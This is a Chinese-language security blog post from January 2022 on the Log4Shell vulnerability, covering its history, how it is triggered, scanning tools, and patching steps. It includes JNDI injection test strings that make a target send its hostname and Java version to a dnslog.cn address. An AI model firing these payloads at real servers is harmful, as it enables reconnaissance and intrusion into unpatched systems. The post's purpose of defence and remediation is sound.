2021最大資安漏洞!修補方式一次完整揭露

2022/01/05

Log4 Shell應該為今年2021最大資安漏洞之一,簡單暴力的打法、注入點是在家家戶戶必備的log4j之中的error紀錄函式上、外加Log紀錄一定是什麼header、cookie、使用者資料全部塞進去Log,而且為了稽核紀錄的關係登入前就已經會記錄使用者行為,就好像隨便把攻擊代碼塞進任何欄位裡面,都會觸發,真的是太神啦!!!!

在事發兩週之後漸漸開始收斂的時候,希望這篇文章的側寫和修補方式對台灣的企業有所幫助。

漏洞成因時間軸
2013 七月的時候,當時的 log4j 有個方便開發者在Log加入資料[1]的需求,於是加入了 JDNI Lookup的功能,方便開發者插入資料。

log4j JDNI Lookup


但是呢,隔年的2014十一月的時候,有人希望可以在這個方便的功能上加上開關[2],他不需要!因為和Apache Camel打架了,導致該開發者沒辦法寫他要的功能。

log4j


而2017十一月後,有開發者希望可以全域關閉JDNI Lookup功能[3],還好有這個需要開出issue,不然在第一個時間點當下真的生不出來緩解方法,他救了半個世界!也就是說formatMsgNoLookups這個參數是這個issue產生的。

formatMsgNoLookups


在Log4j功能一眠大一吋的時候,資安圈其實在2015就發表了 JDNI Injection的問題。JDNI Injection 在資安圈最早的研究來自於資安研究大神 pwntester 於2015 在 BlackHat USA 發表的 A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land[4],但當初研究設定的情境多為內網連接問題,基本上RMI與JDNI介接多為內網傳輸,加上當時OWASP Top 10 2017尚未推出,多數資安檢測或稽核尚未重視 Log 撰寫的部分,也許是因此才未被發現。

OWASP Top 10 2017


但其實就目前的POC來看,另一篇需要研究的paper為2017年五月的反序列化Java Unmarshaller Security - Turning your data into code execution[5],在marshalsec這個工具中提供了JDNI的LDAP Server和RMI Server可轉送HTTP伺服器上面已撰寫好的JAVA Class檔案做為代碼執行的素材使用,若不是這篇paper也可能不會出現LogShell。

看更多: JAVA世界中不安全的反序列化風險


以時間軸看來,可能很多人會好奇為何在JDNI injection發表後過了那麼久才出現那麼嚴重的弱點,但實際上首先因為Java本身特性獨立於file-based或是MVC架構的網站之外,是自成一格的情況,因此也格外難分析,需要特別研究專精;另外就是反序列化的發展到了一個程度,相比前幾年的情況,現在更多研究者或是滲透測試工程師更加瞭解這類相對較為複雜的弱點,也相對更熟悉反序列化Gadget Chain工具的情況下,才能發現這天大的巧合。

看更多:甚麼是滲透測試?從網路資安看Client-Side Template Injection


漏洞簡易分析

經過前面時間軸解說,其實可以發現 JDNI Lookup 在Log4j中其實是一種spec存在,所以我們可以參考官方文件:https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html
其實依照文件看來,多數人都會以為應該在XML設定檔中才能使用 JDNI Lookup 語法,結果不然。目前多數POC Code都使用logger.error()做為測試注入點使用,但理論上應該所有的紀錄函式皆可做為注入點使用,包含:logger.trace(), logger.debug(), logger.error(), logger.info(), logger.warn() 。

漏洞測試方法

黑箱部分類型的掃描目前有許多公開的掃描器或是 JNDI Request Receiver,但多數人測試方法皆有誤,並不是將JDNI測試用語法直接放入各類參數後送出請求後看到Out-of-Band的DNS紀錄就存在漏洞,而是應該將相關的JNDI Lookup語法與LDAP/RMI URI串接或者當做變數使用,才能確認JNDI有被執行所以漏洞存在。也就是說,目前很多測試都是透過注入以下字串搭配dnslog.cn進行測試:

${jndi:ldap//你的亂碼值.dnslog.cn/a}


但事實上是這樣並不是完整的測試,也因此twitter出現很多用上面測試代碼的迷因嘲諷。我們可以參考 @therceman 在twitter [7]中所發表的 Log4Shell Vulnerability Cheatsheet 來構成我們的payload:

${jndi:ldap//${hostName}-${sys:java.version}.你的亂碼值.dnslog.cn/a}


如果DNS Query在發處請求時,在亂碼值前方有帶上主機的名稱及JAVA版本號,就能完全確定你的伺服器是有弱點的!

白箱類型掃描工具需要部屬到營運主機上,是以軟體組合分析工具邏輯開發。好比說CERT/CC所提供的CVE-2021-44228_scanner[8],目前有三種版本,分別是powershell, python, 或shell script。主要是以遞迴方式檢查資料夾下所有jar檔案之中是否存有JndiLookup.class,也因此有可能會有誤判的情況發生,需要人工再檢視確認版本號。

另一隻也是由軟體組合分析工具邏輯開發的是韓國SIEM廠商 LOGPRESSO 所開發的 log4j2-scan[9],這邊所使用的檢測方式與CERT/CC所撰寫的有所不同,主要技巧一樣是以遞迴方式檢查資料夾底下的所有 jar 相關程式,解開後確認其中的 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 檔案,並確認版本號,但同時也會確認是否被修補過!另外近期的Log4j相關的CVE通通都會幫你檢查,此外同時也能幫你做mitigation,真的是非常非常優秀的工具!!!

修補方式
1.升級至官方最新版本。但要停機又要先測試相容性又要開發一起協做,基本上非常非常困難。
2.執行時設定參數 log4j2.formatMsgNoLookups=true
或是透過環境變數設定 LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3.直接移除 JndiLookup 類別
zip -q -d *.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
但這部分可以透過前面提到的 LOGPRESSO log4j2-scan 來執行會更完整

舊版 log4j 1.2額外修補方式
舊版本log4j 1.2存在 CVE-2021-4104的話mitigation的參考較少,但判斷方式應該為確認以下兩個變數於程式中有賦值的情況即為啟用jmxappender,即存在漏洞。

log4j.appender.jms.TopicBindingName=logTopic
log4j.appender.jms.TopicConnectionFactoryBindingName=ConnectionFactory

可以使用以下指令移除相關具有弱點的原件


zip –q -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
zip –q -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class
zip –q -d log4j-1.2.16.jar org/apache/log4j/net/SMTPAppender$1.class
zip –q -d log4j-1.2.16.jar rg/apache/log4j/net/SMTPAppender.class


或者一樣可以透過前面提到的 LOGPRESSO log4j2-scan 來執行會更完整!!大推這隻工具!

延伸閱讀:
什麼是Web Cache?3分鐘快速帶你瞭解Web Cache的功能及使用方式!
來自外部的威脅-XXE漏洞攻擊成因




[ Reference ]
[1] https://issues.apache.org/jira/browse/LOG4J2-313
[2] https://issues.apache.org/jira/browse/LOG4J2-905
[3] https://issues.apache.org/jira/browse/LOG4J2-2109
[4] https://www.youtube.com/watch?v=Y8a5nB-vy78
[5] https://github.com/mbechler/marshalsec
[6] https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html
[7] https://www.instagram.com/p/CXd3AEUjuH9/
[8] https://github.com/CERTCC/CVE-2021-44228_scanner
[9] https://github.com/logpresso/CVE-2021-44228-Scanner


其他訊息